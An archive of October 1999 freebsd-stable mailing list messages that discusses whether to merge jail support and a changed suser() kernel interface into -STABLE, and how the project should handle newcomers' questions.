73 D0 DE EE X-PGP-RSAkey: http://www.nectar.com/nectar-rsa.txt X-PGP-DSSfprint: AB2F 8D71 A4F4 467D 352E 8A41 5D79 22E4 71A2 8C73 X-PGP-DHfprint: 2D50 12E5 AB38 60BA AF4B 0778 7242 4460 1C32 F6B1 X-PGP-DH-DSSkey: http://www.nectar.com/nectar-dh-dss.txt From: Jacques Vidrine To: Will Andrews Cc: stable@FreeBSD.ORG In-reply-to: References: Subject: Re: merging current's jail functionality to stable Mime-Version: 1.0 Content-Type: text/plain Date: Sat, 09 Oct 1999 14:16:58 -0500 Message-Id: <19991009191658.F2E941D87@bone.nectar.com> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 9 October 1999 at 13:28, Will Andrews wrote: [snip] > Since -STABLE must have binary compatability in order to support third-party > vendors' binary programs (which were compiled with what is the current suser > function), we cannot risk changing the suser() syscall and causing breaks in > such vendors' programs. I think some points are being missed. suser is not a syscall. It is a kernel interface, used only in the kernel. Therefore, the only possible vendor binaries that can be affected are kernel loadable modules (KLDs). Not applications. I don't know of any vendor KLDs, but that doesn't mean there aren't any. > People who really want jail() on their -STABLE machines can, IMO, > simply take Jacques' patch and patch it themselves (of course, > unless they have the exact same release he's got, they're gonna have > rejects all over the place ;). And also, of course, their work would > get overwritten when/if they cvsup, but that's their own damn > problem. ;) If those folks that privately mailed me and asked that this work be done would stand up now, that would be nice :-) > So, I say, leave it out of -STABLE until 4.0-CURRENT becomes -STABLE > (probably February-March 2000?). Vendors have plenty of time until > then to reimplement their suser()-dependent features. Again, what vendors? :-) From the sounds of things, it would be easier for some to swallow if I came up with a different set of patches that don't change the interface of suser, and maintain two suser implementations for another 5 or 6 months --- although I don't know that we can say for sure when 4.0 will become -STABLE. Jacques Vidrine / n@nectar.com / nectar@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Oct 9 12:30:30 1999 Delivered-To: freebsd-stable@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 3DDD214DB5 for ; Sat, 9 Oct 1999 12:30:27 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p29-dn01kiryunisiki.gunma.ocn.ne.jp [210.132.6.158]) by peach.ocn.ne.jp (8.9.1a/OCN) with ESMTP id EAA27175; Sun, 10 Oct 1999 04:30:10 +0900 (JST) Message-ID: <37FF8447.9BE11979@newsguy.com> Date: Sun, 10 Oct 1999 03:07:03 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Will Andrews Cc: Marcel Moolenaar , stable@FreeBSD.ORG Subject: Re: merging current's jail functionality to stable References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Will Andrews wrote: > > So, I say, leave it out of -STABLE until 4.0-CURRENT becomes -STABLE (probably > February-March 2000?). Vendors have plenty of time until then to reimplement > their suser()-dependent features. I heard march 2000, likely to slip. Alas, we need a stable newbus, and, if at all possible, devfs. Do you see that by march 2000? I don't. Going -stable on 4.x before newbus itself becomes stable would be an error. IMHO. -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org "I always feel generous when I'm in the inner circle of a conspiracy to subvert the world order and, with a small group of allies, just defeated an alien invasion. Maybe I should value myself a little more?" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Oct 9 12:32:42 1999 Delivered-To: freebsd-stable@freebsd.org Received: from phoenix.volant.org (phoenix.volant.org [205.179.79.193]) by hub.freebsd.org (Postfix) with ESMTP id E812414DB5 for ; Sat, 9 Oct 1999 12:32:37 -0700 (PDT) (envelope-from patl@phoenix.volant.org) Received: from asimov.phoenix.volant.org ([205.179.79.65]) by phoenix.volant.org with smtp (Exim 1.92 #8) id 11a2EO-0001pw-00; Sat, 9 Oct 1999 12:32:36 -0700 Received: from localhost by asimov.phoenix.volant.org (SMI-8.6/SMI-SVR4) id MAA25793; Sat, 9 Oct 1999 12:32:31 -0700 Date: Sat, 9 Oct 1999 12:32:31 -0700 (PDT) From: patl@phoenix.volant.org Reply-To: patl@phoenix.volant.org Subject: Re: merging current's jail functionality to stable To: Jacques Vidrine Cc: stable@FreeBSD.ORG In-Reply-To: <19991009191658.F2E941D87@bone.nectar.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 9-Oct-99 at 12:17, Jacques Vidrine (n@nectar.com) wrote: > If those folks that privately mailed me and asked that this work be > done would stand up now, that would be nice :-) I didn't privately mail you; but I would like to speak up as someone who is -very- interested in seeing this functionality available much sooner than we can expect 4.x to become -stable. [ Normally, I wouldn't bother the list with a 'Me Too' type post; but since Jacques did ask, and since most of the posts have been negative reactions to the potential disruption that would be caused if the suser interface changed, I thought it was time to de-lurk. ] > From the sounds of things, it would be easier for some to swallow if I > came up with a different set of patches that don't change the > interface of suser, and maintain two suser implementations for another > 5 or 6 months --- although I don't know that we can say for sure when > 4.0 will become -STABLE. That's my reading of the postings; and it sounds like a reasonable approach. -Pat To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Oct 9 13: 0: 6 1999 Delivered-To: freebsd-stable@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 4BD3814C80 for ; Sat, 9 Oct 1999 12:59:53 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from localhost (jkh@localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id MAA74675; Sat, 9 Oct 1999 12:58:55 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: Michael Lucas Cc: laotzu@juniper.net (Chris Parry), blk@skynet.be, stable@FreeBSD.ORG Subject: Re: Roasting Newbies In-reply-to: Your message of "Sat, 09 Oct 1999 09:03:07 EDT." <199910091303.JAA33525@blackhelicopters.org> Date: Sat, 09 Oct 1999 12:58:55 -0700 Message-ID: <74671.939499135@localhost> From: "Jordan K. Hubbard" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I think this is a very good effort which is aimed at the true heart of the problem. Any and every tech support org worth their salt has already "formalized" the process of having users deal with developers in a fashion which provides all the relevant information up-front and I don't see how we can afford to do things any differently now. - Jordan > I'm taking this message as an opportunity to respond to the scads of > private mail I have received. I never thought a web page would > produce more mail than I could answer. ;) > > I don't think it's that we're actively hostile to newbies. We're just > sick of answering the same questions over and over again. > > To be honest, I don't want developers wasting their time answering > questions about the OS. I want them coding. > > I'm going to use one particular developer as an example. No offense > is intended here, I'm not trying to single anyone out. (Okay, to be > honest, this developer writes some pretty good flames that stick in my > memory. ;) > > We have a guy who writes NIC drivers. He writes good NIC drivers. He > knows his shit. He's happy to help anyone who presents him with a > solid, useful trouble report. > > The number of solid, useful trouble reports that this individual > receives is, at a guess, roughly a tenth of the total number he > receives. The remainder of the reports are useless. > > The person reporting the problem doesn't know any better, though. And > there's a lot more of these than there are of us. > > If a developer takes the time to explain to said user how to submit a > trouble report, that's all well and good. > > But I'd rather intercept these before they reach a developer, and > point said newbie at a web page that says "This is how you submit a > NIC driver report." Make the page very detailed. Show said newbie > that they, too, can actually gather the necessary information to file > a useful and sensible PR. By the time said developer checks his mail, > I want him to see not only the trouble report, but the reply that > says, "Check out http://..../nic-trouble-report.html" > > This would reduce the developer's blood pressure, and make the newbie > more likely to stick with FreeBSD. > > Actually, I think I'm going to go dig through the mail archives. > Surely we have a good email or two on how to submit a NIC report that > could be turned into a decent web page. > > ==ml > > > I think all of these are very good ideas. Set out plenty of pointers to > > self-help and it makes dealing with people that want to learn much easier. > > I love to say 'man it' or goto freebsd.org and follow the links to > > 'newbie' or something similar. It also makes sense to keep a few of the > > lists closed, then the newbie flames are just averted right away. > > > > While many people in the FreeBSD community may have an anti-newbie > > attitude I find it slightly annoying. It was like this when linux was > > very young in '93, many folks flamed newbies that asked dumb questions, > > while they rarely replied to any questions that were actually technical at > > all nor consistently pointed them to self-help, that has changed and I > > think linux is far better to start people off with, but we should still be > > reasonable about treating folks curiosities with some respect. > > > > My $.02, > > > > -chris > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-stable" in the body of the message > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Oct 9 13:51:30 1999 Delivered-To: freebsd-stable@freebsd.org Received: from germanium.xtalwind.net (germanium.xtalwind.net [205.160.242.5]) by hub.freebsd.org (Postfix) with ESMTP id DD59514C26 for ; Sat, 9 Oct 1999 13:51:22 -0700 (PDT) (envelope-from jack@germanium.xtalwind.net) Received: from localhost (jack@localhost) by germanium.xtalwind.net (8.9.3/8.9.3) with ESMTP id QAA03092; Sat, 9 Oct 1999 16:51:11 -0400 (EDT) Date: Sat, 9 Oct 1999 16:51:11 -0400 (EDT) From: jack To: Jacques Vidrine Cc: stable@FreeBSD.ORG Subject: Re: merging current's jail functionality to stable In-Reply-To: <19991009191658.F2E941D87@bone.nectar.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Today Jacques Vidrine wrote: > I don't know of any vendor KLDs, but that doesn't mean there aren't any. 4Front Technologies' OSS sound driver is a KLD. Better support, IMHO, and more cards supported that our stock sound card drivers. -------------------------------------------------------------------------- Jack O'Neill Systems Administrator / Systems Analyst jack@germanium.xtalwind.net Crystal Wind Communications, Inc. Finger jack@germanium.xtalwind.net for my PGP key. PGP Key fingerprint = F6 C4 E6 D4 2F 15 A7 67 FD 09 E9 3C 5F CC EB CD enriched, vcard, HTML messages > /dev/null -------------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Oct 9 14:59:15 1999 Delivered-To: freebsd-stable@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id A22781508D for ; Sat, 9 Oct 1999 14:58:53 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id OAA53120; Sat, 9 Oct 1999 14:58:18 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199910092158.OAA53120@gndrsh.dnsmgr.net> Subject: Re: Roasting Newbies In-Reply-To: <74671.939499135@localhost> from "Jordan K. Hubbard" at "Oct 9, 1999 12:58:55 pm" To: jkh@zippy.cdrom.com (Jordan K. Hubbard) Date: Sat, 9 Oct 1999 14:58:17 -0700 (PDT) Cc: mwlucas@blackhelicopters.org (Michael Lucas), laotzu@juniper.net (Chris Parry), blk@skynet.be, stable@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I think this is a very good effort which is aimed at the true heart of > the problem. Any and every tech support org worth their salt has > already "formalized" the process of having users deal with developers > in a fashion which provides all the relevant information up-front and > I don't see how we can afford to do things any differently now. > > - Jordan > And we have even found a person to lead us down the road: > From mwlucas@blackhelicopters.org Sat Oct 9 11:51:08 1999 > > > I've got a nice shinny cap sitting over here in the corner, the > > new painted words on it say ``Director of Newbie Relations'', > > would you care to dawn it and take the rains? > > Uh, I don't know... is it pointy? I've always wanted my very own > pointy hat. Unfortunately, my code doesn't rate a pointy hat; at > best, it rates pointed fingers and open snickering. > > Sure, what the hell. It can't go any worse than the Sparc port. ;-) You can get pointy hats for things besides code... :-) > > ==ml -- Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Oct 9 16:11:28 1999 Delivered-To: freebsd-stable@freebsd.org Received: from enya.clari.net.au (enya.clari.net.au [203.8.14.116]) by hub.freebsd.org (Postfix) with ESMTP id 780D614DB2 for ; Sat, 9 Oct 1999 16:11:13 -0700 (PDT) (envelope-from danny@freebsd.org) Received: from localhost (danny@localhost) by enya.clari.net.au (8.9.2/8.9.1) with ESMTP id JAA37496; Sun, 10 Oct 1999 09:10:52 +1000 (EST) (envelope-from danny@freebsd.org) X-Authentication-Warning: enya.clari.net.au: danny owned process doing -bs Date: Sun, 10 Oct 1999 09:10:52 +1000 (EST) From: "Daniel O'Callaghan" X-Sender: danny@enya.clari.net.au To: Michael Lucas Cc: stable@freebsd.org Subject: Re: Roasting Newbies In-Reply-To: <199910091303.JAA33525@blackhelicopters.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 9 Oct 1999, Michael Lucas wrote: > I don't think it's that we're actively hostile to newbies. We're just > sick of answering the same questions over and over again. > > To be honest, I don't want developers wasting their time answering > questions about the OS. I want them coding. One solution I have found to be effective in at least reducing the time taken to respond to poorly detailed questions, and also leads to reduced blood pressure changes and a less emotional response, is to have a canned response text file which can be e-mailed back to the poster. Something like... Hi, Welcome to FreeBSD, we're glad you have made the choice to use it as your operating system. We understand that problems arise from time to time, and the mailling lists are where to get answers. Often, however, the answers are already available on the FreeBSD web site or in the man pages, as others may have struck your problem already. Have you looked in the Handbook? Man pages? Mailling list archives? You can search all of these at If you *have* searched for the answers already, please e-mail the appropriate mailling list with full details of your problem. Don't forget to include: * FreeBSD version you are running (uname -a) * Make, model of the hardware you are having a problem with (if hardware) etc,etc,etc Cheers, Danny To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Oct 9 21:10:20 1999 Delivered-To: freebsd-stable@freebsd.org Received: from pinky.magiclemurs.com (pinky.magiclemurs.com [205.219.88.225]) by hub.freebsd.org (Postfix) with ESMTP id C6EAB14D8C for ; Sat, 9 Oct 1999 21:10:16 -0700 (PDT) (envelope-from plambert@pinky.magiclemurs.com) Received: (from plambert@localhost) by pinky.magiclemurs.com (8.9.3/8.9.3) id VAA15288 for stable@freebsd.org; Sat, 9 Oct 1999 21:10:16 -0700 (PDT) (envelope-from plambert) Date: Sat, 9 Oct 1999 21:10:15 -0700 From: "Paul M. Lambert" To: stable@freebsd.org Subject: Re: Roasting Newbies Message-ID: <19991009211015.A736@pinky.magiclemurs.com> References: <199910091303.JAA33525@blackhelicopters.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Perhaps something like what is used in the perl newsgroups: a bot that autoresponds the first time an address sends a message, to say, "Here's a list of good places to look for answers." It's a little more in-your-face, but being automated, a little harder to argue with. (For example, it's easy to ignore an email reply to the bot that deserves to be ignored without making it seem like such a personal judgement). It would be even better if it could be placed _between_ users and the mailing list, just like the perl bot is in comp.lang.perl.misc, so that a message sent to the list isn't posted until the sender replies to the automated short FAQ and so forth first. These are, of course, ideas. The purpose here is brainstorming. --plambert On Sun, 10 Oct 1999, Daniel O'Callaghan wrote: > > On Sat, 9 Oct 1999, Michael Lucas wrote: > > > I don't think it's that we're actively hostile to newbies. We're just > > sick of answering the same questions over and over again. > > > > To be honest, I don't want developers wasting their time answering > > questions about the OS. I want them coding. > > One solution I have found to be effective in at least reducing the > time taken to respond to poorly detailed questions, and also leads to > reduced blood pressure changes and a less emotional response, is to have a > canned response text file which can be e-mailed back to the poster. > > Something like... > > Hi, Welcome to FreeBSD, we're glad you have made the choice to use > it as your operating system. We understand that problems arise from > time to time, and the mailling lists are where to get answers. > Often, however, the answers are already available on the FreeBSD > web site or in the man pages, as others may have struck your problem > already. > Have you looked in the Handbook? Man pages? Mailling list archives? > You can search all of these at > > If you *have* searched for the answers already, please e-mail the > appropriate mailling list with full details of your problem. Don't > forget to include: > * FreeBSD version you are running (uname -a) > * Make, model of the hardware you are having a problem with (if > hardware) > etc,etc,etc > > Cheers, > > Danny > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Oct 9 23:11:42 1999 Delivered-To: freebsd-stable@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id 546E51513E for ; Sat, 9 Oct 1999 23:11:35 -0700 (PDT) (envelope-from gdonl@tsc.tdk.com) Received: from sunrise.gv.tsc.tdk.com (root@sunrise.gv.tsc.tdk.com [192.168.241.191]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id XAA18697; Sat, 9 Oct 1999 23:11:28 -0700 (PDT) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by sunrise.gv.tsc.tdk.com (8.8.5/8.8.5) with ESMTP id XAA19577; Sat, 9 Oct 1999 23:11:27 -0700 (PDT) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id XAA19435; Sat, 9 Oct 1999 23:11:27 -0700 (PDT) From: Don Lewis Message-Id: <199910100611.XAA19435@salsa.gv.tsc.tdk.com> Date: Sat, 9 Oct 1999 23:11:26 -0700 In-Reply-To: Marcel Moolenaar "Re: merging current's jail functionality to stable" (Oct 9, 6:51pm) X-Mailer: Mail User's Shell (7.2.6 alpha(3) 7/19/95) To: Marcel Moolenaar , stable@FreeBSD.ORG Subject: Re: merging current's jail functionality to stable Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Oct 9, 6:51pm, Marcel Moolenaar wrote: } Subject: Re: merging current's jail functionality to stable } To approach this from a different angle: How long will 3.x be -stable } and can we afford to wait that long for jail to be a -stable feature? While I have a need for the jail functionality, I also need a working a working nullfs implementation to use with it. Somehow I don't thing we'll see a working nullfs in 3.x, so I guess I can wait for 4.x. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Oct 9 23:46:44 1999 Delivered-To: freebsd-stable@freebsd.org Received: from hertz.ee.calpoly.edu (hertz.ee.calpoly.edu [129.65.26.104]) by hub.freebsd.org (Postfix) with SMTP id C67291523F for ; Sat, 9 Oct 1999 23:46:32 -0700 (PDT) (envelope-from mpartelo@hornet.csc.calpoly.edu) Received: from eris (03-123.006.popsite.net [206.132.214.123]) by hertz.ee.calpoly.edu (8.6.12/ELEE) with SMTP id XAA18991 for ; Sat, 9 Oct 1999 23:31:31 -0700 Message-ID: <008501bf12eb$75da0460$0517a8c0@eris.fnord.org> From: "Mike Partelow" To: Subject: Date: Sat, 9 Oct 1999 23:48:15 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.5 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG subscribe freebsd-stable To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message